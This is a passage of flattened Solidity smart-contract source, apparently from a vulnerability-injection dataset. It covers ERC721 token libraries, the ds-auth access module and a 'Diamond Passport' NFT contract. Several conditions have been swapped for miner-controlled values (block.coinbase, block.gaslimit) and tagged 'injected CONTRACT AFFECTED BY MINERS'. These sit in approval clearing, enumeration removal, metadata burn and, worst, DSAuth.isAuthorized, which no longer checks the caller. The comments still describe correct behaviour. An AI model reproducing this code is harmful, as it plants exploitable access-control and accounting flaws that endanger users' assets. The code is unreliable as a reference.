* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal {
_transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _safeMint(address to, uint256 tokenId) internal {
_safeMint(to, tokenId, "");
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own");
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* This function is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Private function to clear current approval of a given token ID.
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(uint256 tokenId) private {
if (block.coinbase != address(0)) { //injected CONTRACT AFFECTED BY MINERS
_tokenApprovals[tokenId] = address(0);
}
}
}
////// lib/dpass/lib/openzeppelin-contracts/src/token/ERC721/IERC721Enumerable.sol
/* pragma solidity ^0.5.0; */
/* import "./IERC721.sol"; */
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
////// lib/dpass/lib/openzeppelin-contracts/src/token/ERC721/ERC721Enumerable.sol
/* pragma solidity ^0.5.0; */
/* import "../../GSN/Context.sol"; */
/* import "./IERC721Enumerable.sol"; */
/* import "./ERC721.sol"; */
/* import "../../introspection/ERC165.sol"; */
/**
* @title ERC-721 Non-Fungible Token with optional enumeration extension logic
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Enumerable is Context, ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Constructor function.
*/
constructor () public {
// register the supported interface to conform to ERC721Enumerable via ERC165
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner.
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev Gets the total amount of tokens stored by the contract.
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens.
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to transferFrom, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
super._transferFrom(from, to, tokenId);
_removeTokenFromOwnerEnumeration(from, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to address the beneficiary that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
_addTokenToAllTokensEnumeration(tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {ERC721-_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
_removeTokenFromOwnerEnumeration(owner, tokenId);
// Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund
_ownedTokensIndex[tokenId] = 0;
_removeTokenFromAllTokensEnumeration(tokenId);
}
/**
* @dev Gets the list of token IDs of the requested owner.
* @param owner address owning the tokens
* @return uint256[] List of token IDs owned by the requested address
*/
function _tokensOfOwner(address owner) internal view returns (uint256[] storage) {
return _ownedTokens[owner];
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
_ownedTokensIndex[tokenId] = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (block.gaslimit != lastTokenIndex) { //injected CONTRACT AFFECTED BY MINERS
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by
// lastTokenId, or just over the end of the array if the token was the last one).
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
}
}
////// lib/dpass/lib/openzeppelin-contracts/src/token/ERC721/IERC721Metadata.sol
/* pragma solidity ^0.5.0; */
/* import "./IERC721.sol"; */
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
////// lib/dpass/lib/openzeppelin-contracts/src/token/ERC721/ERC721Metadata.sol
/* pragma solidity ^0.5.0; */
/* import "../../GSN/Context.sol"; */
/* import "./ERC721.sol"; */
/* import "./IERC721Metadata.sol"; */
/* import "../../introspection/ERC165.sol"; */
contract ERC721Metadata is Context, ERC165, ERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/**
* @dev Constructor function
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
}
/**
* @dev Gets the token name.
* @return string representing the token name
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Gets the token symbol.
* @return string representing the token symbol
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns an URI for a given token ID.
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
return _tokenURIs[tokenId];
}
/**
* @dev Internal function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = uri;
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (block.gaslimit != 0) { //injected CONTRACT AFFECTED BY MINERS
delete _tokenURIs[tokenId];
}
}
}
////// lib/dpass/lib/openzeppelin-contracts/src/token/ERC721/ERC721Full.sol
/* pragma solidity ^0.5.0; */
/* import "./ERC721.sol"; */
/* import "./ERC721Enumerable.sol"; */
/* import "./ERC721Metadata.sol"; */
/**
* @title Full ERC721 Token
* @dev This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology.
*
* See https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor (string memory name, string memory symbol) public ERC721Metadata(name, symbol) {
// solhint-disable-previous-line no-empty-blocks
}
}
////// lib/ds-auth/src/auth.sol
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
/* pragma solidity >=0.4.23; */
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (block.coinbase == address(this)) { //injected CONTRACT AFFECTED BY MINERS
return true;
} else if (block.coinbase == owner) { //injected CONTRACT AFFECTED BY MINERS
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
////// lib/dpass/src/Dpass.sol
/* pragma solidity ^0.5.11; */
// /**
// * How to use dapp and openzeppelin-solidity https://github.com/dapphub/dapp/issues/70
// * ERC-721 standart: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
// *
// */
/* import "ds-auth/auth.sol"; */
/* import "openzeppelin-contracts/token/ERC721/ERC721Full.sol"; */
contract DpassEvents {
event LogConfigChange(bytes32 what, bytes32 value1, bytes32 value2);
event LogCustodianChanged(uint tokenId, address custodian);
event LogDiamondAttributesHashChange(uint indexed tokenId, bytes8 hashAlgorithm);
event LogDiamondMinted(
address owner,
uint indexed tokenId,
bytes3 issuer,
bytes16 report,
bytes8 state
);
event LogRedeem(uint indexed tokenId);
event LogSale(uint indexed tokenId);
event LogStateChanged(uint indexed tokenId, bytes32 state);
}
contract Dpass is DSAuth, ERC721Full, DpassEvents {
string private _name = "Diamond Passport";
string private _symbol = "Dpass";
struct Diamond {
bytes3 issuer;
bytes16 report;
bytes8 state;
bytes20 cccc;
uint24 carat;
bytes8 currentHashingAlgorithm; // Current hashing algorithm to check in the proof mapping
}
Diamond[] diamonds; // List of Dpasses
mapping(uint => address) public custodian; // custodian that holds a Dpass token
mapping (uint => mapping(bytes32 => bytes32)) public proof; // Prof of attributes integrity [tokenId][hashingAlgorithm] => hash
mapping (bytes32 => mapping (bytes32 => bool)) diamondIndex; // List of dpasses by issuer and report number [issuer][number]
mapping (uint256 => uint256) public recreated; // List of recreated tokens. old tokenId => new tokenId
mapping(bytes32 => mapping(bytes32 => bool)) public canTransit; // List of state transition rules in format from => to = true/false
mapping(bytes32 => bool) public ccccs;
constructor () public ERC721Full(_name, _symbol) {
// Create dummy diamond to start real diamond minting from 1
Diamond memory _diamond = Diamond({
issuer: "Slf",
report: "0",
state: "invalid",
cccc: "BR,IF,D,0001",
carat: 1,
currentHashingAlgorithm: ""
});
diamonds.push(_diamond);
_mint(address(this), 0);
// Transition rules
canTransit["valid"]["invalid"] = true;
canTransit["valid"]["removed"] = true;
canTransit["valid"]["sale"] = true;
canTransit["valid"]["redeemed"] = true;
canTransit["sale"]["valid"] = true;
canTransit["sale"]["invalid"] = true;
canTransit["sale"]["removed"] = true;
}
modifier onlyOwnerOf(uint _tokenId) {
require(ownerOf(_tokenId) == msg.sender, "dpass-access-denied");
_;
}
modifier onlyApproved(uint _tokenId) {
require(
ownerOf(_tokenId) == msg.sender ||
isApprovedForAll(ownerOf(_tokenId), msg.sender) ||
getApproved(_tokenId) == msg.sender
, "dpass-access-denied");
_;
}
modifier ifExist(uint _tokenId) {
require(_exists(_tokenId), "dpass-diamond-does-not-exist");
_;
}
modifier onlyValid(uint _tokenId) {
// TODO: DRY, _exists already check
require(_exists(_tokenId), "dpass-diamond-does-not-exist");
Diamond storage _diamond = diamonds[_tokenId];
require(_diamond.state != "invalid", "dpass-invalid-diamond");
_;
}
/**
* @dev Custom accessor to create a unique token
* @param _to address of diamond owner
* @param _issuer string the issuer agency name
* @param _report string the issuer agency unique Nr.
* @param _state diamond state, "sale" is the init state
* @param _cccc bytes32 cut, clarity, color, and carat class of diamond
* @param _carat uint24 carat of diamond with 2 decimals precision
* @param _currentHashingAlgorithm name of hasning algorithm (ex. 20190101)
* @param _custodian the custodian of minted dpass
* @return Return Diamond tokenId of the diamonds list
*/
function mintDiamondTo(
address _to,
address _custodian,
bytes3 _issuer,
bytes16 _report,
bytes8 _state,
bytes20 _cccc,
uint24 _carat,
bytes32 _attributesHash,
bytes8 _currentHashingAlgorithm
)
public auth
returns(uint)
{
require(ccccs[_cccc], "dpass-wrong-cccc");
_addToDiamondIndex(_issuer, _report);
Diamond memory _diamond = Diamond({
issuer: _issuer,
report: _report,
state: _state,
cccc: _cccc,
carat: _carat,
currentHashingAlgorithm: _currentHashingAlgorithm
});
uint _tokenId = diamonds.push(_diamond) - 1;
proof[_tokenId][_currentHashingAlgorithm] = _attributesHash;
custodian[_tokenId] = _custodian;
_mint(_to, _tokenId);
emit LogDiamondMinted(_to, _tokenId, _issuer, _report, _state);
return _tokenId;
}
/**
* @dev Update _tokenId attributes
* @param _attributesHash new attibutes hash value
* @param _currentHashingAlgorithm name of hasning algorithm (ex. 20190101)
*/
function updateAttributesHash(
uint _tokenId,
bytes32 _attributesHash,
bytes8 _currentHashingAlgorithm
) public auth onlyValid(_tokenId)
{
Diamond storage _diamond = diamonds[_tokenId];
_diamond.currentHashingAlgorithm = _currentHashingAlgorithm;
proof[_tokenId][_currentHashingAlgorithm] = _attributesHash;
emit LogDiamondAttributesHashChange(_tokenId, _currentHashingAlgorithm);
}
/**
* @dev Link old and the same new dpass
*/
function linkOldToNewToken(uint _tokenId, uint _newTokenId) public auth {
require(_exists(_tokenId), "dpass-old-diamond-doesnt-exist");
require(_exists(_newTokenId), "dpass-new-diamond-doesnt-exist");
recreated[_tokenId] = _newTokenId;
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg.sender to be the owner, approved, or operator and not invalid token
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address _from, address _to, uint256 _tokenId) public onlyValid(_tokenId) {
_checkTransfer(_tokenId);
super.transferFrom(_from, _to, _tokenId);
}
/*
* @dev Check if transferPossible
*/
function _checkTransfer(uint256 _tokenId) internal view {
bytes32 state = diamonds[_tokenId].state;
require(state != "removed", "dpass-token-removed");
require(state != "invalid", "dpass-token-deleted");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public {
_checkTransfer(_tokenId);
super.safeTransferFrom(_from, _to, _tokenId);
}
/*
* @dev Returns the current state of diamond
*/
function getState(uint _tokenId) public view ifExist(_tokenId) returns (bytes32) {
return diamonds[_tokenId].state;
}
/**
* @dev Gets the Diamond at a given _tokenId of all the diamonds in this contract
* Reverts if the _tokenId is greater or equal to the total number of diamonds
* @param _tokenId uint representing the index to be accessed of the diamonds list
* @return Returns all the relevant information about a specific diamond
*/
function getDiamondInfo(uint _tokenId)
public
view
ifExist(_tokenId)
returns (
address[2] memory ownerCustodian,
bytes32[6] memory attrs,
uint24 carat_
)
{
Diamond storage _diamond = diamonds[_tokenId];
bytes32 attributesHash = proof[_tokenId][_diamond.currentHashingAlgorithm];
ownerCustodian[0] = ownerOf(_tokenId);
ownerCustodian[1] = custodian[_tokenId];
attrs[0] = _diamond.issuer;
attrs[1] = _diamond.report;
attrs[2] = _diamond.state;
attrs[3] = _diamond.cccc;
attrs[4] = attributesHash;
attrs[5] = _diamond.currentHashingAlgorithm;
carat_ = _diamond.carat;
}
/**
* @dev Gets the Diamond at a given _tokenId of all the diamonds in this contract
* Reverts if the _tokenId is greater or equal to the total number of diamonds
* @param _tokenId uint representing the index to be accessed of the diamonds list
* @return Returns all the relevant information about a specific diamond
*/
function getDiamond(uint _tokenId)
public
view
ifExist(_tokenId)
returns (
bytes3 issuer,
bytes16 report,
bytes8 state,
bytes20 cccc,
uint24 carat,
bytes32 attributesHash
)
{
Diamond storage _diamond = diamonds[_tokenId];
attributesHash = proof[_tokenId][_diamond.currentHashingAlgorithm];
return (
_diamond.issuer,
_diamond.report,
_diamond.state,
_diamond.cccc,
_diamond.carat,
attributesHash
);
}
/**
* @dev Gets the Diamond issuer and it unique nr at a given _tokenId of all the diamonds in this contract
* Reverts if the _tokenId is greater or equal to the total number of diamonds
* @param _tokenId uint representing the index to be accessed of the diamonds list
* @return Issuer and unique Nr. a specific diamond
*/
function getDiamondIssuerAndReport(uint _tokenId) public view ifExist(_tokenId) returns(bytes32, bytes32) {
Diamond storage _diamond = diamonds[_tokenId];
return (_diamond.issuer, _diamond.report);
}
/**
* @dev Set cccc values that are allowed to be entered for diamonds
* @param _cccc bytes32 cccc value that will be enabled/disabled
* @param _allowed bool allow or disallow cccc
*/
function setCccc(bytes32 _cccc, bool _allowed) public auth {
ccccs[_cccc] = _allowed;
emit LogConfigChange("cccc", _cccc, _allowed ? bytes32("1") : bytes32("0"));
}
/**
* @dev Set new custodian for dpass
*/
function setCustodian(uint _tokenId, address _newCustodian) public auth {
require(_newCustodian != address(0), "dpass-wrong-address");
custodian[_tokenId] = _newCustodian;
emit LogCustodianChanged(_tokenId, _newCustodian);
}
/**
* @dev Get the custodian of Dpass.
*/
function getCustodian(uint _tokenId) public view returns(address) {
return custodian[_tokenId];
}
/**
* @dev Enable transition _from -> _to state
*/
function enableTransition(bytes32 _from, bytes32 _to) public auth {
canTransit[_from][_to] = true;
emit LogConfigChange("canTransit", _from, _to);
}
/**
* @dev Disable transition _from -> _to state
*/
function disableTransition(bytes32 _from, bytes32 _to) public auth {
canTransit[_from][_to] = false;
emit LogConfigChange("canNotTransit", _from, _to);
}
/**
* @dev Set Diamond sale state
* Reverts if the _tokenId is greater or equal to the total number of diamonds
* @param _tokenId uint representing the index to be accessed of the diamonds list
*/
function setSaleState(uint _tokenId) public ifExist(_tokenId) onlyApproved(_tokenId) {
_setState("sale", _tokenId);
emit LogSale(_tokenId);
}
/**
* @dev Set Diamond invalid state
* @param _tokenId uint representing the index to be accessed of the diamonds list
*/
function setInvalidState(uint _tokenId) public ifExist(_tokenId) onlyApproved(_tokenId) {
_setState("invalid", _tokenId);
_removeDiamondFromIndex(_tokenId);
}
/**
* @dev Make diamond state as redeemed, change owner to contract owner
* Reverts if the _tokenId is greater or equal to the total number of diamonds
* @param _tokenId uint representing the index to be accessed of the diamonds list
*/
function redeem(uint _tokenId) public ifExist(_tokenId) onlyOwnerOf(_tokenId) {
_setState("redeemed", _tokenId);
_removeDiamondFromIndex(_tokenId);
emit LogRedeem(_tokenId);
}
/**
* @dev Change diamond state.
* @param _newState new token state
* @param _tokenId represent the index of diamond
*/
function setState(bytes8 _newState, uint _tokenId) public ifExist(_tokenId) onlyApproved(_tokenId) {
_setState(_newState, _tokenId);
}
// Private functions
/**
* @dev Validate transiton from currentState to newState. Revert on invalid transition
* @param _currentState current diamond state
* @param _newState new diamond state
*/
function _validateStateTransitionTo(bytes8 _currentState, bytes8 _newState) internal view {
require(_currentState != _newState, "dpass-already-in-that-state");
require(canTransit[_currentState][_newState], "dpass-transition-now-allowed");
}
/**
* @dev Add Issuer and report with validation to uniqueness. Revert on invalid existance
* @param _issuer issuer like GIA
* @param _report issuer unique nr.
*/
function _addToDiamondIndex(bytes32 _issuer, bytes32 _report) internal {
require(!diamondIndex[_issuer][_report], "dpass-issuer-report-not-unique");
diamondIndex[_issuer][_report] = true;
}
function _removeDiamondFromIndex(uint _tokenId) internal {
Diamond storage _diamond = diamonds[_tokenId];
diamondIndex[_diamond.issuer][_diamond.report] = false;
}
/**
* @dev Change diamond state with logging. Revert on invalid transition
* @param _newState new token state
* @param _tokenId represent the index of diamond
*/
function _setState(bytes8 _newState, uint _tokenId) internal {
Diamond storage _diamond = diamonds[_tokenId];
_validateStateTransitionTo(_diamond.state, _newState);
_diamond.state = _newState;
emit LogStateChanged(_tokenId, _newState);
}
}
////// lib/ds-math/src/math.sol
/// math.sol -- mixin for inline numerical wizardry
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
/* pragma solidity >0.4.13; */
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
